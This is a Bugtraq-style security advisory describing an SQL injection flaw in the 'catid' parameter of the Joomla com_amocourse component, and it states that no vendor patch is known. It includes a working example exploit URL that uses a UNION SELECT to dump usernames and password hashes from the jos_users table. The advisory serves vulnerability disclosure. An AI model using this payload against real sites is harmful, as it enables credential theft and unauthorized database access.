Joomla! 'com_amocourse' Component 'catid' Parameter SQL Injection Vulnerability

Bugtraq ID:	35489
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 24 2009 12:00AM
Updated:	Jun 26 2009 04:19PM
Credit:	Chip D3 Bi0s
Vulnerable:	Joomla com_amocourse 0
Not Vulnerable:

Joomla! 'com_amocourse' Component 'catid' Parameter SQL Injection Vulnerability

The Joomla! 'com_amocourse' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! 'com_amocourse' Component 'catid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/path//index.php?option=com_amocourse&task=view&view=category&catid=+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12+from+jos_users--

Joomla! 'com_amocourse' Component 'catid' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! 'com_amocourse' Component 'catid' Parameter SQL Injection Vulnerability

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